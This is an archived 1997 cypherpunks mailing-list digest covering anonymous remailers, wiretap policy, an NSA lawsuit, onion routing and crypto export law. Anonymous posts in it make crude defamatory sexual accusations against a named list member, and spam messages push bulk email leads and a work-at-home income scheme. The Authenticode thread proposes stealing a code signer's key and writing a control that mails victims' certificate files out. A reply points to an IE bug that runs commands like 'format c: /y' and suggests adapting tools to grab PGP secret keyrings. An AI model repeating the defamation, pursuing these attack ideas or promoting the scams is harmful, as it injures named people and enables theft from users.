$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 3 Mar 97 6:45:58 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
weasel   config@weasel.owl.de             -++++++++-++  1:22:34  99.99%
hidden   remailer@hidden.net                    *++.-#  5:22:40  99.98%
balls    remailer@huge.cajones.com        ###--*.###-#  2:44:25  99.98%
nym      config@nym.alias.net             +*#*#+**+-++    16:11  99.98%
exon     remailer@remailer.nl.com         *+#*#+#++#*#     2:24  99.95%
winsock  winsock@rigel.cyberpass.net      ------------  5:40:48  99.94%
cyber    alias@alias.cyberpass.net        -+ *++*+ ***    28:51  99.63%
extropia remail@miron.vip.best.com        __.._--__.-+ 22:39:55  99.55%
replay   remailer@replay.com              --**++**+***    15:52  99.41%
dustbin  dustman@athensnet.com            ---+---._.    3:25:41  99.03%
middle   middleman@jpunix.com             - -- -_*---   2:17:36  98.95%
lucifer  lucifer@dhp.com                  -++++++  +++    44:00  98.82%
reno     middleman@cyberpass.net           .- +-  -. -  1:12:29  96.16%
jam      remailer@cypherpunks.ca          ** ***  +*      53:49  94.54%
shaman   remailer@lycaeum.org                 *+++++ +    24:17  91.73%
haystack haystack@holy.cow.net              ##-+*+ ##      9:05  91.47%
mix      mixmaster@remail.obscura.com         . _      91:28:31  89.63%
squirrel mix@squirrel.owl.de              -+++            59:37  21.19%
wazoo    remailer@wazoo.com                               37:27  -5.74%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 3 Mar 1997 05:53:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Blowfish
Message-ID: <199703031353.IAA07986@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[retin] May prefers to have sex with little kids because his 
own penis is like that of a three-year-old.

 _  o
|<)_/# Tim C[retin] May
TT  <T





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Mar 1997 00:59:35 -0800 (PST)
To: jya@pipeline.com
Subject: sikrit mandatory GAK plans (was Re: Guardian on EU-FBI Wiretap Pact)
In-Reply-To: <1.5.4.32.19970228200633.00719d10@pop.pipeline.com>
Message-ID: <199703030855.IAA00133@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> posts an article from UK Gaurdian newspaper:

> The Guardian Weekly, Volume 156, Issue 9
> Week ending March 2, 1997, Page 4:
> 
> UK to join FBI phone taps
> 
> Richard Norton-Taylor and Alison Daniels
> 
> BRITAIN has secretly agreed with its European Union partners to set up
> an international telecommunications tapping system in co-operation
> with the FBI, it was revealed on Monday.
> 
> The agreement covers telephones and written communications -- telexes,
> faxes and e-mail. To make tapping easier, telecommunications companies
> will be obliged to give security and intelligence agencies the key to
> codes installed in equipment sold to private customers.

Sounds like this will cover any communications software or hardware
commercially available.  Looks like mandatory GAK.  It is interesting
that they should target commercial suppliers, rather than users.

Also interesting that they should feel unsure enough about public
opinion to plan it all in secret.

To those who said the US 1st ammendment would prevent this happening
in the US: looks like you were wrong.  Has there been any
corresponding US press on the FBI side of the sikrit GAK plans?

> Detailed plans are being drawn up by officials in a secret network of
> EU committees established under the "third pillar" of the Maastricht
> Treaty, covering co-operation on law and order issues.

Blech.  These people have _no_ respect for democracy, it's all secret
cloak and dagger stuff.  Is that anyway for laws to be decided in
supposedly democratic countries?  Does the public have no right to
affect the introduction of new laws?  I suppose the spooks know better
what's good for us than we do?

> Civil liberties groups, while agreeing that there was a need for such
> an agreement to fight against serious crime, 

Erm which `civil liberties group' agreed that there was a need for
mandatory GAK?

> said the plans raised a number of privacy and data protection issues
> and must be the subject of a full public debate.

To damn right privacy issues are raised, and that the subject should
be open for public debate.

> Britain is an enthusiastic supporter of joint action in this area,
> which is conducted on an inter-governmental basis with no role for the
> European Commission, the European Parliament or the European Court of
> Justice. It is an area where the EU's "democratic deficit" is most
> evident.
> 
> Key points of the plan are outlined in a memorandum of understanding
> signed by EU states in 1995, which is still classified.

Un-fucking-believeable!  Classified documents determining the
_publics_ future right to freedom of speech.  You don't even get to
see the document let alone discuss it.  Signed way back in 1995.

> It reflects increasing concern among European intelligence agencies
> that modern technology will prevent them from tapping private
> communications.  EU governments agreed to co-operate closely with
> the FBI in Washington as they work out detailed plans.

How about someone in the US puts in a FOIA for the FBI half of this?
(At least you guys have a FOIA).

Adam
-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bohus Simek <simek@econ.econ.umb.sk>
Date: Mon, 3 Mar 1997 01:07:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <Pine.SUN.3.90.970303101151.4083A-100000@econ>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 3 Mar 1997 11:45:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Military Snooping
Message-ID: <1.5.4.32.19970303193819.00700ac8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green posted the message below elsewhere which 
raises provocative questions about military snooping on 
the Net to combat anonymizers and remailers:

[Forward]

At the FC'97 rump session, Paul Syverson from NRL presented 
a paper titled "Onion Routing". The description of the system 
sounds very much like Wei Dai's PipeNet. However, the 
development team seems to be unaware of PipeNet
and the discussions about it that we had in the past.

NLR has currently five machines implementing the protocol. 
Connection setup time is claimed to be 500 ms. They are looking 
for volunteers to run "Onion Routers". It appears the US military 
wants to access websites without giving away the fact that they 
are accessing the sites and is looking to us to provide the cover 
traffic. What a fortunate situation.

They said that the source would soon be on the web page, but so 
far it has not appeared.

http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/

[End forward]

For those who don't want NRL snooping on their accesses, we've 
put three of the Onion-Routing papers at:

   http://jya.com/onion.htm

   http://jya.com/privnet.htm

   http://jya.com/hri.htm  (a conversion from PDF)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Mon, 3 Mar 1997 14:13:39 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: DES Challenge / Who'da Thunk It?
In-Reply-To: <199703031434.JAA25007@www.video-collage.com>
Message-ID: <Pine.BSD/.3.91.970303165642.14171A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 3 Mar 1997, Sean Roach wrote:

> At 02:36 PM 3/3/97 +0100, James Morris wrote:
> ...
> >Actually, there's a theory that the secret recipies for Coke, Pepsi and
> >Kentucky Fried Chicken are part of a biological chinese lottery, where
> >the results are collected via satellite-based spectrometry of atmospheric
> >methane radicals.  Note that children who are too young for these foods 
> >will quite happily eat Crayola.
> >
> >More than this I cannot say.
> 
> You might be interested to know that Pepsi owns Kentucky Fried Chicken.
> Take a look at the supply trucks some time, Taco Bell, Hot & Now (whatever
> that is), Kentucky Fried Chicken, and Pizza Hut are all Pepsico subsidaries.
> I'd say that the chips are weighted heavily on one side.  Hope you know
> which numbers to bet on.

I'd lay my $ on the suppliers of red dye #3, yellow dye #7, etc., and get 
Pepsi, Coke and Crayola fanciers all at once.

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 32685944@28723.com
Date: Thu, 26 Mar 1998 18:25:22 -0800 (PST)
To: tryitbeforeyoubuyit@yahoo.com
Subject: Try It Before You Buy It Special ! 45 Million Email Leads + Next Generation Mailers !!!
Message-ID: <tryitbeforeyoubuyit>
MIME-Version: 1.0
Content-Type: text/plain






Prices are skyrocketing as Non Democratic forces and Mail Censors take
Control of the internet,deciding Who gets to advertise and to Whom ! 
Look for those little aol notices when You try to access certain mail,
You can't ! They have already looked at Your mail and decided You CAN'T
have it, period ! But be aware, a little knowledge makes You dangerous,
So let Your Congressional Representative know that You are getting Wise
to what's going on with the big three power play. More info maybe available
in later dispatchs. ( If the empire doesn't strike first )
 But if You still wish to advertise that product or service, better do it now,
establish Yourself !  While You still have that freedom to do so. 



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 3 Mar 1997 16:37:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: NSA Sued by Cryptographer
Message-ID: <1.5.4.32.19970304003033.006ac3a8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've received from Anonymous a copy of a February 28, 
1997, complaint against NSA by an ex-Sandia cryptographer:

   http://jya.com/nsasuit.txt  (41K)

The cryptographer, William Payne, was:

   project leader for the Missile Secure Cryptographic Unit 
   [MSCU] at Sandia between about 1982 and 1986.  The 
   MSCU was funded by NSA.  Payne designed and built 
   the hardware/software data authenticator for the US/USSR 
   Comprehensive Test Ban Treaty for Sandia between 
   1986 and 1992. Payne held SECRET clearance when 
   Payne worked for the Navy, DOE Q clearance, crypto and 
   SCI access while at Sandia.

The document says that Payne was a source for the Baltimore 
Sun story on NSA's "spiking" deal with CryptoAG*, and other 
stories, after he was fired in 1992 for attacking the quality of 
NSA's cryptography.

It includes descriptions of agreements between Sandia and 
NSA, algorithms, critiques and procedures. A sample:

   Payne revealed to the public the value 31. "The algorithm 
   required stepping two of its internal registers at a rate many 
   times the data rate."  

   NSA believes that 31 is classified.  Payne believes that this is 
   classification abuse.

   Therefore, Payne issued a FOIA to NSA crypto-mathematician Brian 
   Snow also on June 10, 1996.

     	I found no evidence that NSA possesses any special 
	crypto skills, and apparently hides its deficiencies 
	behind the veil of classification abuse.  

     	To the contrary, I discovered generic deficient 	
	crypto work. 

     	We brought this to the attention of NSA.  Sandia even      
	offered to help NSA fix its deficient crypto work.  
	And NSA attempted to correct its deficient crypto 	
	work.

     	Therefore, under 5 USC 522b I request access all 	
	technical documentation on, 

     	1    Benincasa's original NSS/USO algorithm,
     	2    Benincasa's revision of 1,
     	3    The Unkenholtz - Judy GRANITE algorithm,
     	4    Your MSCU algorithm,
     	5    the clipper algorithm,
     	6    the STU III algorithms.       

     	I feel that published analyses of the above 6 	
	algorithms will show the Clinton administration, 	
	congress, and the public that NSA possess no superior 
	knowledge of crypto matters. 

   Payne received no response from NSA.

----------

* "Cryptographic units were 'spiked' so that the crypto key was 
transmitted ['covert channel'] with the cipher text."

For more on the CryptoAG story see:

   http://jya.com/cryptoa2.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 3 Mar 1997 16:52:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: 2-way anonymous ecash ?
Message-ID: <199703040052.BAA06479@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


  From: Peter Foldiak <Peter.Foldiak@st-andrews.ac.uk>
  Newsgroups: sci.crypt

On
http://www.digicash.com/ecash/aboutcrime.html
Digicash says:

"... ecash is not at all well suited for black markets, extortion,
bribes and tax evasion. The reason is that only the payer is anonymous,
the recipient of the money has no anonymity at all.
Furthermore, all money that the payee receives must be given to the
bank. It is not possible to hide from the bank the fact that you
received money (and thereby hide it from the authorities). So
tax-evasion is definitely out. For people who operate black markets
the same story holds. First of all, their income is visible. The second
reason is far better: if any of the customers ever wants to,
he can prove that a certain payment was made by him. This means that
a criminal accepting ecash
can be identified with the retroactive help one of his customers. ..."

Is this really true under all circumstances? Can (some kind of) e-cash
be made truly two-way anonymous, like physical cash?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 3 Mar 1997 22:50:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Presidential decrees and emergency powers
In-Reply-To: <85708065028816@cs26.cs.auckland.ac.nz>
Message-ID: <199703040650.HAA15022@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm#POSTSCRIPT

Although slightly dated (it's before the latest regs), it hits some of the
main points.


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     |
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 4 Mar 1997 06:53:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: NSA Sued by Cryptographer
Message-ID: <1.5.4.32.19970304144644.006ae054@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


I spoke this morning with cryptographer William H. Payne in NM 
(505-292-7037), who confirmed that the NSA suit is authentic. 

He spoke freely about it and said he was pleased that it was 
being publicized. There's more to tell, he says, and is
doing so through several pipelines.

Says NSA is crimping him financially in retribution, so he may
go offshore to make a living fighting their shitty crypto shenanigans.

-----

To see the suit:

   http://jya.com/nsasuit.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: JC <jc@ender.morefreestuff.com>
Date: Tue, 4 Mar 1997 21:01:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Free Stuff!!
Message-ID: <199703042104.NAA24812@ender.morefreestuff.com>
MIME-Version: 1.0
Content-Type: text/plain


Because your profile indicates you are a visionary, you have been
selected to participate in a marketing study where you will receive
FREE products at ABSOLUTELY NO COST TO YOU.

If you do NOT want to receive FREE PRODUCT SAMPLES, discounts and
other benefits only available to  CLUB MAIL (tm) members, hit reply
and put the word <REMOVE>  anywhere in the response, and we will never
email you again. BUT if you would like  FREE PRODUCT SAMPLES, 
discounts, and other benefits, absolutely  FREE  with no strings
attached, hit reply and include <MORE> anywhere in the response. 

Then, you will be enrolled in CLUB MAIL, "the place to get FREE STUFF
and more" (SM)

There is NO CHARGE and NO OBLIGATION,  you just have to want to get
the best stuff for less, even FREE.

HOW IT WORKS:

We have many manufactures of consumer merchandise ready and willing to
send it to you just for the asking. CLUB MAIL is a new service
connecting preferred consumers with top distributors and manufactures.
These companies are willing to go all out to get your attention. Even,
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These companies know that the best form of advertising is word -of-
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 4 Mar 1997 12:17:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: More on NSA Suit
Message-ID: <1.5.4.32.19970304201045.00702f74@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've received another doc by cryptographer William H. Payne 
that preceded his NSA suit, sent to the Director of NSA, which 
claims to contain classified information on NSA crypto algorithms:

   http://jya.com/nsasuit2.txt

It amplifies information in the suit, and includes provocative material 
that was suit-and-tied for court.

There's governmental information via Altavista about Mr. Payne's 
parallel dispute with DOE.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 4 Mar 1997 13:25:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: toad
In-Reply-To: <Pine.HPP.3.91.970304131108.18709A-100000@cor.sos.sll.se>
Message-ID: <59723D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Asgaard <asgaard@cor.sos.sll.se> writes:

> Why is cypherpunks@toad.com still appearing in headers
> and even on the From: line on many messages?
> Wasn't toad supposed to have shut down the cp list
> at Feb 20?
> 
> Asgaard
> 

John Gilmore lied.

So, what else is now?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Tue, 4 Mar 1997 12:40:49 -0800 (PST)
To: "John Lehmann (SSASyd)" <LEHMANNJ@saatchi.com.au>
Subject: RE: It is time to break Authenticode
In-Reply-To: <331BEF9B@smtp.saatchi.com.au>
Message-ID: <Pine.BSD/.3.91.970304150102.18186A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 4 Mar 1997, John Lehmann (SSASyd) wrote:

[ ActiveX discussion snipped ]

> Perhaps an interesting "nudie screensaver" control could be made to mail   
> any Root.cer Cert.cer and Cert.spc (I guess) files lying around on the   
> target computer to a well known mailing-list...
> 
> One wonders whether it would even be illegal. *sigh* I suppose it would   
> be.

This may be feasible without resorting to ActiveX.  Microsoft IE 3.0 has a
nifty security bug that allows a malicious WWW page to run arbitrary
programs (e.g. "format c: /y").  Details (and a demo that starts the
Windows calculator locally) are at

  http://www.cybersnot.com/iebug.html

There are "uploader" programs for WWW servers; one of these should be
modifiable to look for %PGPPATH%/secring.pgp without prompting... 

The great (?) thing about this bug is that, since there is no confirmation
and the rogue programs don't use ActiveX or Java, you can't prevent a site
from trashing your PC.  (Except by trashing your copy of IE.)

Microsoft will have a fix out Real Soon Now, of course...

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 4 Mar 1997 08:04:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Presidential decrees and emergency powers
In-Reply-To: <199703040650.HAA15022@basement.replay.com>
Message-ID: <199703041604.RAA06912@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Something got lost there, let's try again...



On Tue, 4 Mar 1997, Anonymous wrote:

http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm#POSTSCRIPT

Oh, the things we do to avoid spammers...

> Although slightly dated (it's before the latest regs), it hits some of the
> main points.
> 

> 
> A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
> Associate Professor of Law |
> U. Miami School of Law     |
> P.O. Box 248087            | http://www.law.miami.edu/~froomkin
> Coral Gables, FL 33124 USA | It's warm here. 
> 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Mar 1997 19:26:57 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: toad
In-Reply-To: <59723D2w165w@bwalk.dm.com>
Message-ID: <331CE7C4.72AB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Asgaard <asgaard@cor.sos.sll.se> writes:
> > Why is cypherpunks@toad.com still appearing in headers and even
> > on the From: line on many messages?  Wasn't toad supposed to have
> > shut down the cp list at Feb 20?

> John Gilmore lied.
> So, what else is now?

Well, it's sure convenient to have those messages pass thru Gilmore's
computer on the way to Igor or whomever, just in case Gilmore needs
some fodder for one of his public forums/interviews/disinfo campaigns.
Or in case he wanted to diddle with some of them, **not saying** that
we would do such a thing, of course.  He's never done that before,
has he?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Lehmann (SSASyd)" <LEHMANNJ@saatchi.com.au>
Date: Tue, 4 Mar 1997 00:35:16 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: It is time to break Authenticode
Message-ID: <331BEF9B@smtp.saatchi.com.au>
MIME-Version: 1.0
Content-Type: text/plain



> Microsoft's recent arrogant and irresponsible reply to the Chaos
> Computer Club hack on ActiveX requires response. An effective response
> would be to steal the key of a major code signer and produce a signed,
> malicious ActiveX control. Such an attack would demonstrate the
> serious problems of Microsoft's security philosophy.
>
> ...
>
> The best avenue of attack is stealing the secret key of a respected
> code signer. The target should be one of the major players, if not
> Microsoft itself. Someone is sloppy to store their secret key on a

It really should be Microsoft, for good exposure.

> getting signatures right is well understood. Still, does anyone have
> information on exactly how the signatures work?

http://www.microsoft.com/kb/articles/q159/8/93.htm

>
> Stealing the key itself will almost certainly be an illegal act.
> Morally, the demonstration signed control should itself not do damage.
> Something like the Exploder control (which warns the user before
> shutting down the machine) should be good enough to show the flaws of
> ActiveX without causing trouble.

The most interesting abuse the ActiveX thet I've heard of was a company   
that released an ActiveX control that modified the security manager used   
to verify and pass ActiveX controls, essentially registerring their   
company as a trusted provider.  Thus once this one control was accepted,   
all other controls signed by that company were automatically accepted by   
the browser.

The company quickly retracted the control and claimed that the   
authentication abuse was a feature put in while the control was in   
beta-cycle and accidently left in when it was finally released.  Oops!   
(This was reported on the www-security mailing list, but I have lost the   
ref)

Perhaps an interesting "nudie screensaver" control could be made to mail   
any Root.cer Cert.cer and Cert.spc (I guess) files lying around on the   
target computer to a well known mailing-list...

One wonders whether it would even be illegal. *sigh* I suppose it would   
be.

 --
JJL




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 4 Mar 1997 18:30:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PR
In-Reply-To: <331C98F0.2318@sk.sympatico.ca>
Message-ID: <aDk33D126w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:
>   So apparently, from this cop's point of view, my desire to save money
> on computer peripherals is 'nasty' business, and I have to expect to
> duck flying bullets so that he can attempt to administer the death
> penalty to some kid stealing a car radio.

The only person with any business administering the death penalty to the
kid stealing a car radio is the car owner.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 4 Mar 1997 12:55:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Forgery detection
Message-ID: <199703042048.VAA28825@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[retin] May is another loser who pays for got.net 
because he lacks the mental capacity to gain net access as 
a perk of either employment or academic achievment.

          ,,,
         ($ $)
     -ooO-(_)-Ooo- Timothy C[retin] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: um@idril.shnet.org (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Thu, 3 Apr 1997 13:34:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: hi-tech ROT-13
In-Reply-To: <199704012224.OAA19578@fat.doobie.com>
Message-ID: <m0w21nx-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


Someone who invented a pill that cures Alzheimer's (but it didn't do
any good, because nobody remembered to take it) writes:

> Assholes and the spammers will always take the time to learn what
> they need to know to spread their bullshit, but what about people
> who have a one or two-time legitimate need to pass information along
> in saftey?

Geoff Keaton's remailer applet has just been released under GPL
license, with source code.  Mixmaster applet soon to come.  That's
strong anonymity at a mouse click.  Sending anonymous mail never
has been easier.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: friend@Summers.com
Date: Wed, 5 Mar 1997 15:18:58 -0800 (PST)
To: pal@pwrnet.com
Subject: Extra Income
Message-ID: <199703052240.RAA54154@mail1y-int.prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


***********************************************************************
Our Research Has Indicated That The Following
Message Will Be Of Interest To You.
***********************************************************************

Imagine what you can do with...

 UP TO $800.00 A WEEK EXTRA INCOME!
 Here's How To Get Started

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      My name is Henry Summers. I investigate income opportunities
 that are advertised in magazines or by mail or are listed in home work
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      Then I talk to people who are actually using these opportunities. I ask
 how much money they make... and whether they enjoy the work. This helps
 me direct you to the best opportunities that are available today. Ones that
 people are using right now to earn all the money they want.

 Get Paid For Stuffing Envelopes.
 No Fees. Nothing To Buy.

      This easy work is very appealing, but most people do not know
 how to get it. That's because so many of the envelope stuffing programs
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          the companies that pay you.
       * Your pay is based entirely on how many envelopes you complete.

      Rosie Martinez is an example of someone who earns money stuffing
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      Rosie says, "I'm retired, and I enjoy having something to do.
                          I usually watch television while I work. The
                          home shopping  shows are much more fun now
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: JOlson <jolson3@netbox.com>
Date: Wed, 5 Mar 1997 03:24:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: File Systems
Message-ID: <199703051124.DAA25832@netbox.com>
MIME-Version: 1.0
Content-Type: text/plain


Are there any commercial/shareware/freeware versions of cryptographic file systems for any Windows environment?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 5 Mar 1997 06:38:27 -0800 (PST)
To: tcmay@got.net (Tim May)
Subject: Re: The Pro-CODE Bill could make things worse!
In-Reply-To: <199703030817.AAA24224@you.got.net>
Message-ID: <3.0.1.32.19970305064441.00d70e08@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:36 AM 3/3/97 -0800, Tim May wrote:
>(These items may not be banned for general export, given the language about
>an "identfied individual or organization," but think of the new mischief
>this will cause. For example, if remailers are used to evade taxes by some
>individuals connecting to some sites, then exporters (like Eric Hughes,
>Lance Cottrell, whomever is writing remailers these days) may have to jump
>through large numbers of hoops to ensure that some specific site does not
>get the software...this will effectively make export of remailers
>impossible to legally do...as I read the language of the Bill.)

I don't think that Pro-CODE can be used to control the dissemination of
remailers. The bit of Pro-CODE at issue here (section 5(c)(3)(B) "The
Secretary shall prohibit the export or reexport of particular computer
software and hardware *described in this subsection* to an identified
individual or organization . . if the Secretary determines that there is
substantial evidence that such software and computer hardware will be . .
(iv) intentionally used to evade enforcement of US law or taxation by the
US or by any State or local government." (emphasis added)

I read "described in this subsection" to refer to Section 5(c), and the
best description I can find in 5(c) of computer hardware and software is
"computer hardware, computer software, and technology with encryption
capabilities, except computer hardware, computer software, and technology
that is specifically designed or modified for military use, including
command, control, and intelligence applications", in section 5(c)(1).

So I don't think that this creates a new ability to control the
dissemination of non-crypto hardware or software. (The Mixmaster remailer
software, which does include crypto, would still be controlled.) 

The prohibitions on export to named individuals and organizations will be
effectively useless with respect to those parties getting strong crypto -
the only utility I can see in such a clause is to be used as a club against
domestic sympathizers/allies of unpopular groups/people abroad. It also
seems likely to lead to yet another round of worrying about whether the
format of a particular distribution site on the Internet is sufficiently
configured - if ProCODE passes, instead of asking "Are you a US citizen?",
distribution sites will ask "Are you on the list of forbidden people?" Same
difference. 

>And the other language--about how companies have to advise the government
>about what they are doing, and the "review board"--are possibly ominous.

